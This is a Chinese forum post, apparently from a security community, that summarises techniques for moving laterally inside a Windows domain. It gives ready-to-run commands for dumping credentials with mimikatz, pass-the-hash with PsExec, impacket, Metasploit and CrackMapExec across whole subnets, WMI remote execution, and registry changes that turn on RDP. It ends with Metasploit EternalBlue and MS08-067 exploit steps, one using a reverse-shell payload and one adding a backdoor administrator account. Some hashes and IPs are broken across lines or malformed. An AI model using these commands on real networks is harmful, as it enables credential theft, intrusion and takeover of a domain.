域渗透-横向移动手法总结
vghost 发表于 江苏 渗透测试 6094浏览 · 2024-05-14 09:34

前言:

在内网渗透中,域内横向移动是一种常见的攻击手法。攻击者会利用此技术,以被攻陷的系统为跳板,访问域内其他主机,扩大资产(包括跳板机中的文档和存储的凭证,以及通过跳板机连接的数据库,域控制器等其他重要资产)。通过此类攻击技术,攻击者最终很可能获取到域控制器的访问权限,甚至控制整个内网的机器权限。

1、PTH横向

pass-the-hash 在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过 LM Hash 和 NTLM Hash 访问远程主机或服务,而不用提供明文密码。

pass the hash 原理:

原理:
• 在 Windows 系统中,通常会使用 NTLM 身份认证
• NTLM 认证不使用明文口令,而是使用口令加密后的 hash 值,hash 值由系统 API 生成(例如 LsaLogonUser)
hash 分为 LM hash 和 NT hash,如果密码长度大于 15,那么无法生成 LM
hash。从 Windows Vista 和 Windows Server 2008 开始,微软默认禁用 LMhash
• 如果攻击者获得了 hash,就能够在身份验证的时候模拟该用户(即跳过调用
API 生成 hash 的过程)
这类攻击适用于:
• 域/工作组环境
• 可以获得 hash,但是条件不允许对 hash 爆破
• 内网中存在和当前机器相同的密码
微软也对 pth 打过补丁,然而在测试中发现,在打了补丁后,常规的 Pass The Hash 已经无法成功,唯独默认的 Administrator(SID 500)账号例外,利用这个账号仍可以进行 Pass The Hash 远程 ipc 连接。
如果禁用了 ntlm 认证,PsExec 无法利用获得的 ntlm hash 进行远程连接,但是使用 mimikatz 还是可以攻击成功。
从 windows 到 windows 横向 pth 这一类攻击方法比较广泛。

用法:使用mimitkaz进行pth

privilege::debug
sekurlsa::logonpasswords
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> password.txt

得到 hash 后进行

privilege::debug
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:627782b7274e323941c9418399460d5b

远程桌面登录:

修改注册表:

REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin" #查询结果

利用过程
在本地计算机使用mimikatz登陆远程主机

sekurlsa::pth /user:administrator /domain:test /ntlm:627782b7274e323941c9418399460d5b "/run:mstsc.exe /restrictedadmin"

2、使用psexec横向

psexec 是 windows 官方自带的,不会存在查杀问题,属于 pstools 利用 PsExec 可以在远程计算机上执行命令,其基本原理是通过管道在远程目标主机上创建一个psexec 服务,并在本地磁盘中生成一个名为 PSEXESVC 的二进制文件,然后通过psexec 服务运行命令,运行结束后删除服务。
利用 SMB 服务可以通过明文或 hash 传递来远程执行,条件 445 服务端口开放。对方开放 445 端口,就相当于开放了 smb 协议

psexec 第一种:

先有 ipc 链接,psexec 需要明文或 hash 传递

PsExec64.exe /accepteula /s \\192.168.0.123 -u Administrator -p 123456 cmd

-accepteula 第一次运行 PsExec 会弹出确认框,使用该参数就不会弹出确认框
-s 以 System 权限运行远程进程,如果不用这个参数,就会获得一个对应用户权限的 shell直接直接执行回显
-u 域\用户名  -p 密码

PsExec.exe /accepteula /s \192.168.0.141 -u Administrator -p 123456 cmd /c "ipconfig"

psexec -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba8854
7376818d4 ./Administrator@192.168.0.123

上面是建立在明文之上 下面 hash 下进行登录

psexec -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba8854
7376818d4 ./Administrator@192.168.0.123

出现这个错误可以使用 impacket 这个工具包下的 psexec 进行利用
python3 psexec.py -hashes ee:627782b7274e323941c9418399460d5b
./Administrator@10.10.10.152

在使用 PsExec 时需要注意以下几点:
• 需要远程系统开启 admin$ 共享(默认是开启的)
• 因为 PsExec 连接的原理是基于 IPC 共享,因此目标需要开放 445 端口
• 在使用 IPC$ 连接目标系统后,不需要输入账户和密码。
• 在使用 PsExec 执行远程命令时,会在目标系统中创建一个 psexec 的服务,
命令执行完后,psexec 服务将被自动删除。由于创建或删除服务时会产生
大量的日志,因此蓝队在溯源时可以通过日志反推攻击流程。
• 使用 PsExec 可以直接获得 System 权限的交互式 Shell 的前提目标是
administrator 权限的 shell
• 在域环境测试时发现,非域用户无法利用内存中的票据使用 PsExec 功能,
只能依靠账号和密码进行传递。
登陆域管理命令
impacket 下的 psexec
python3 psexec.py x/Administrator@10.10.10.152

执行命令后输入密码

登陆其他主机管理员
psexec /accepteula /s \12server1 -u Administrator -p 123456 cmd

3、使用 msf hash 模块

使用该命令进行hash传递。

use exploit/windows/smb/psexec
set SMBUser Administrator
set rhosts 192.168.0.141
set smbpass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba885473
76818d4
首先,使用msf生成exe木马。

msf进行监听6666端口。

导出hash。

Administrator:500:aad3b435b51404eeaad3b435b51404ee:627782b7274e323941c9418399460d5b:::
set smbpass 500:aad3b435b51404eeaad3b435b51404ee:627782b7274e323941c9418399460d5b
然后使用msf进行hash传递。

4、CrackMapExec

CrackMapExec 可以对 C 段中的主机进行批量 pth,项目地址:
https://github.com/byt3bl33d3r/CrackMapExec.git
使用命令:
crackmapexec smb 192.168.0.0/24 -u administrator -H 627782b7274e323941c9418399460d5b

对 192.168.9.0/24 C 段进行批量 pass the hash

5、WMI

WMI 全称 Windows Management Instrumentation 即 Windows 管理工具,Windows 98 以后的操作系统都支持 WMI。由于 Windows 默认不会将 WMI 的操作记录在日志里,同时现在越来越多的杀软将PsExec 加入了黑名单,因此 WMI 比 PsExec 隐蔽性要更好一些。
wmic 命令
WMI 连接远程主机,并使用目标系统的 cmd.exe 执行命令,将执行结果保存在目标主机 C 盘的 ip.txt 文件中
使用 WMIC 连接远程主机,需要目标主机开放 135 和 445 端口
( 135 端⼝是 WMIC 默认的管理端⼝,wimcexec 使⽤445 端⼝传回显)

wmic /node:192.168.0.123 /user:administrator /password:123456 process call create "cmd.exe /c ipconfig > c:\ip.txt"

使用net use查看执行结果,发现成功执行ipconfig命令。

.wmiexec.py

在 impacket 工具包里有 wmiexec.py 脚本,可以用来直接获取 shell
其他攻击手法可以看下 readme,这里只简单的对 pth 做一下实验:
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5f
dc5e9cba88547376818d4 Administrator@192.168.0.141 "whoami"
wmiexec.py 的 hash 参数格式为 LM Hash:NT Hash
00000000000000000000000000000000 这个部分可以随便填写

尝试执行whoami命令,成功执行该命令。
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:627782b7274e323941c9418399460d5b Administrator@192.168.0.141 "whoami"

wmiexec.vbs

wmiexec.vbs 脚本通过 VBS 调用 WMI 来模拟 PsExec 的功能,wmiexec.vbs
下载地址:https://github.com/k8gege/K8tools/blob/master/wmiexec.vbs
使用 vmiexec.vbs 执行单条命令
cscript wmiexec.vbs /cmd 192.168.0.123 administrator 123456 "ipconfig"
cscript //nologo wmiexec.vbs /shell 192.168.0.123 administrator 123456

然后修改注册表,启动3389远程连接。
all create 'cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\T
erminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'

然后查看状态。

也可以使用命令查看远程桌面状态。

wmic 的其他命令

使用 wmic 远程开启目标的 RDP
适于 Windows xp、server 2003

wmic /node:192.168.7.7 /user:administrator /password:123456 PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1

适于 Windows 7、8、10,server 2008、2012、2016,注意 ServerName 需要改
为目标的 hostname

wmic /node:192.168.0.123 /user:administrator /password:123456 RDTOGGLE WHERE ServerName='计算机名' call SetAllowTSConnections 1

或者

wmic /node:192.168.0.123 /user:administrator /password:123456 process call create 'cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\T
erminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'

可以看到目标上的远程终端已经开启。
判断 RDP 有没有开可以使用以下命令,如果返回 0 表示开启,返回 1 表示关闭。

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server" /v fDenyTSConnections

6、Invoke-WmiCommand

Invoke-WmiCommand.ps1 是 PowerSploit 工具包里的一部分,该脚本是利用Powershell 调用 WMI 来远程执行命令。
在 Powershell 中运行以下命令
导入 Invoke-WmiCommand.ps1 脚本
Import-Module .\Invoke-WmiCommand.ps1
指定目标系统用户名
$User = ".\administrator"
指定目标系统的密码
$Password = ConvertTo-SecureString -String "123456" -AsPlainText -Force
将账号和密码整合起来,以便导入 Credential
$Cred = New-Object -TypeName System.Management.Automation.PSCredential
-ArgumentList $User,$Password
指定要执行的命令和目标 IP
$Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -Comp
uterName 192.168.0.123
将执行结果输出到屏幕上
$Remote.PayloadOutput
将这些命令配置完成之后,成功执行该命令。

7、Invoke-WMIMethod

Invoke-WMIMethod 是 PowerShell 自带的一个模块,也可以用它来连接远程计算机执行命令和指定程序。
执行过程:
指定目标系统用户名
$User=".\administrator"
指定目标系统密码
$Password=ConvertTo-SecureString -String "123456" -AsPlainText -Force
将账号和密码整合起来,以便导入 Credential 中
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -A
rgumentList $User,$Password
在远程系统中运行 calc.exe 命令
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.0.123" -Credential $Cred

8.利用其它漏洞横向

MS08-067

RPC远程缓冲区溢出导致的远程代码执行漏洞
适用:Windows 2000;XP;Server 2003;Vista;Server 2008;7 Beta

javascript
use exploit/windows/smb/ms08_067_netapi     #使用模块
set rhosts 172.16.5.27      #设置靶机ip
set lhost 172.16.5.28      #设置本地ip
set payload generic/shell_bind_tcp     #设置payload
exploit

EhernalBlue(MS17-010)

SMBv1 和 NBT 中的远程代码执行漏洞
适用:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。(包括但不限于)

javascript

use auxiliary/scanner/smb/smb_ms17_010             #扫描是否存在该漏洞
set rhosts 10.10.10.14    #设置目标主机的IP,也可以设置整个IP段
set threads 10
exploit
use exploit/windows/smb/ms17_010_eternalblue    #漏洞利用
set rhosts 10.10.10.14                          #设置目标主机的IP,也可以设置整个IP段
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.10.10.147
set lport 4444
exploit
use exploit/windows/smb/ms17_010_psexec    #漏洞利用
 set payload windows/meterpreter/bind_tcp
 set rhost 192.168.33.33
 exploit
use auxiliary/admin/smb/ms17_010_command    #漏洞利用
set rhosts=192.168.26.33.33
set COMMAND net user hack  hack123 /add
set COMMAND net localgroup administrators hack  /add
exploit
0 条评论
某人
表情
可输入 255